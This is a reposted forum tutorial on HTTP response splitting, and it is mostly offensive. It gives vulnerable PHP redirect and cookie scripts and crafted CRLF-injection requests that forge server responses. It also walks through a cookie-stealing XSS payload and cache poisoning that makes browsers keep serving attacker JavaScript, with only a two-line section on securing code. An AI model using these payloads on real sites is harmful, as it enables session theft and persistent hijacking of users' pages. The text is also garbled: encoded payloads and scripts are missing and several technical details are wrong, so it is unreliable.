This one is taken from the "new" board archive. I found it amusing, never thought of this
In short words:
HTTP Splitting is taking advantage of the ability to input things a websites and manipulate your inputs in such a way that you can add HTTP headers by having newline(\n)(\r\n) in your inputs. This way you can create a CSRF or other things to a page with some sort of CSRF protection because you are sending the user to the victim page from the victim page.
HTTP Splitting Tutorial - by Raimond
Contents
1.0 What is HTTP Splitting
2.0 Attack Methodology
2.1 Vulnerable Scripts
2.2 Attack Payloads
3.0 Securing Code
4.0 End
1.0 What is HTTP Splitting
HTTP Splitting (or HTTP Response Splitting) is method of attacking web applications by exploiting poor input validation and by taking advantage of the HTTP protocol.
HTTP Splitting occurs when a attacker inputs arbitrary headers to control the server response.
It can be used to deliver many attack payloads such as web cache poisoning, XSS, hijacking the page data, and other client side attacks.
2.0 Attack Methodology
To perform a HTTP splitting attack the CR (Command Return. Also represented by and \r) and LF (Line Feed. Also represented by
and \n) characters must be used to forge the servers response by injecting headers. Here is an example of a normal request to a example login script:
Request:
POST /login.php HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.06
Accept: text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.site.com/login.php
Cookie: test_cookie=1234
Content-Type: text/html
Content-Length: 98
username=USER&password=PASS&submit=Login&redirect=http://www.site.com/admin/
Response:
HTTP/1.x 302 Found
Location: http://www.site.com/admin/
Date: Tue, 29 Dec 2009 16:12:01 GMT
Server: Apache/1.3.41 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.7a
X-Powered-By: PHP/5.2.6
Set-Cookie: test_cookie=1234; path=/
Last-Modified: Tue, 29 Dec 2009 16:12:01 GMT
Keep-Alive: timeout=1, max=10000
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Now, the part of the request we are interested in is the post content (It is URL encoded. You can decode it for better viewing at http://meyerweb.com/eric/tools/dencoder/):
username=USER&password=PASS&submit=Login&redirect=http://www.site.com/admin/
Notice the redirect parameter. This parameter is put into the server's response headers:
HTTP/1.x 302 Found
Location: http://www.site.com/admin/ <--- User Input
We can use the for our advantage by modifying the redirect parameter.
2.1 Vulnerable Scripts
As you already know any script that uses user input in the server's response headers is vulnerable. Many web services do this is the form of a redirect and in some cases, setting a cookie.
Below are two vulnerable code examples.
Setting Cookies in PHP:
$name = $_GET['name'];
$session = "sup3rs3cr3tsessiondata";
setcookie("session", $session);
setcookie("name", $name);
?>
User's Request:
http://www.site.com/setcookie.php?name=Raimond
Server's Response:
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session=sup3rs3cr3tsessiondata; name=Raimond <--- User Input
Redirecting in PHP:
header("Location: $_GET['page'];");
?>
User's Request:
http://www.site.com/redirect.php?redirect=http://www.newsite.com
Server's Response:
HTTP/1.x 302 Found
Location: http://www.newsite.com/ <--- User Input
We will cover these attacking these scripts in the next section.
I encourage you to install a web server (I run apache) and run these scripts to get a better understanding of HTTP Splitting. Note that PHP 5.1.2 has been secured against HTTP Response Splitting thanks to the PHP Hardening Project! (Asp and other server languages are still vulnerable)
2.2 Injecting Payloads
Ok. Lets move onto injecting our headers. To create a new response we can fully control we must end the genuine response by using Content-Length: 0. If you know anything about HTTP you know that Content-Length: 0 tells the browser that there is nothing left to read (No HTML to parse) from the servers response. We can inject our Content-Length by using one set of raw CRLF symbols. Here is an example.
Normal Request
http://www.site.com/redirect.php?page=Content-Length: 0
1njected!
http://www.site.com/redirect.php?page=
Content-Length: 0
(This is URL encoded. Use http://meyerweb.com/eric/tools/dencoder/ to decode it.)
Content-Length: 0 is the same as \r\nContent-Length: 0.
The \r\n (or
in URL encoding) are the CR and LF characters. Think of these characters as the "\n" character in c or the result of pressing enter on your keyboard while running a word processor. Here is an example of what happens in the HTTP response after submitting a normal request and a injected request.
Normal Response
HTTP/1.1 302 Found
Location: Content-Length: 0
Injected!
HTTP/1.1 302 Found
Location:(our CRLF characters made a newline)
Content-Length: 0
Now we can start a forged HTTP response!
http://www.site.com/redirect.php?page=
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 20
Hacked
(Again this is encoded. Decode it for better viewing.)
Response (\r\n represents where we injected the
CRLF characters)
HTTP/1.1 302 Found
Location:\r\n
Content-Length: 0\r\n
\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 20\r\n
\r\n
Hacked
OK! We can change the servers response! Whats so great about this? Well, with HTTP Response Splitting we can deliver many attack payloads which I will cover in the next section.
XSS And Other Client Side Attacks
Well this should be straight forward. Just replace "Hacked" in the previous example with your attack payload. Don't forget to change the Content-Length to the length of your payload.
Cookie Stealing Payload
http://www.site.com/redirect.php?page=
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 120
HTTP Response
HTTP/1.1 302 Found
Location:\r\n
Content-Length: 0\r\n
\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 120\r\n
\r\n
If you don't understand this script you need to learn XSS. Of course other client side attacks such as phishing, forging pages, internal scanning/discovery, CSRF can be executed through HTTP Splitting.
Cache Poisoning
Before I explain cache poisoning I will explain how web cache's work. The web cache is a storage bank for web pages and pictures. By using a web cache the user doesn't have to reconnect to the server everytime it revisits a page. The user's browser can just grab the saved page from the local cache as long as the server doesn't report that there is a newer version of the page available (if the page has been modified the browser will grab the new version of the page). So here's the scenario: You login to your homepage and your browser caches it. The pages response headers look like so:
HTTP/1.x 302 Found
Location: http://www.site.com/user/home.htm
Last-Modified: Tue, 29 Dec 2009 16:00:00 GMT
Server: Apache/1.3.41 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.7a
X-Powered-By: PHP/5.2.6
Set-Cookie: test_cookie=1234; path=/
Keep-Alive: timeout=1, max=10000
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Content-Length: 200
[Content Here]
Note the Last-Modified header!
Then the next day you login and the response look like so:
HTTP/1.x 302 Found
Location: http://www.site.com/user/home.html
Last-Modified: Wed, 30 Dec 2009 12:00:00 GMT
Server: Apache/1.3.41 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.7a
X-Powered-By: PHP/5.2.6
Set-Cookie: test_cookie=1234; path=/
Keep-Alive: timeout=1, max=10000
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Content-Length: 200
[Content Here]
The Last-Modified header has been changed to a later date thus your browser updates it's cache with the new page. We can exploit this behavior by setting the Last-Modified date to a date in the far future (Last-Modified: Sun, 1 Jan 2050 12:00:00 GMT). By doing so the browser will cache the page and not update it until the date on the Last-Modified header or until the cache is cleared! We can use HTTP Splitting to forge a page and control it everytime the user browses to it!
Cache Poisoning Request
http://www.site.com/redirect.php?page=
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sun, 1 Jan 2050 12:00:00 GMT
Content-Length: 100
Response (Don't forget \r\n stands for the CRLF or
characters we injected)
HTTP/1.1 302 Found
Location:\r\n
Content-Length: 0\r\n
\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Last-Modified: Sun, 1 Jan 2050 12:00:00 GMT\r\n
Content-Length: 100\r\n
\r\n
Note the Last-Modified header. Since we set the last modified header to a future date (40 years from now) the browser will not update its cache until then or until cache is cleared! Everytime the victim visits the injected page our payload will execute. The payload in this example is a remote js. The remote js file can be coded to do anything the attackers wants. An ideal attack would be to launch a xss shell and perform further attacks from there.
Since we control data on the page we can forge data, phish credentials, and copy the html contents! Many more client-side attacks can be executed because of the control we have over the html.
This ends the Attack Payloads section. Remember to think outside the box when performing HTTP Splitting. Many things can be done with it!
3.0 Securing Code
Securing in PHP:
Upgrade to newest version !
Securing in ASP:
Use EnableHeaderChecking Property to encode the CR and LF characters.
4.0 End
Well this is goodbye. I hope you enjoyed and understood the tutorial. Please give suggestions and comments for enhancing the quality of this tut. Thanks!
Resources:
http://h4k.in/encoding/
http://meyerweb.com/eric/tools/dencoder/
http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol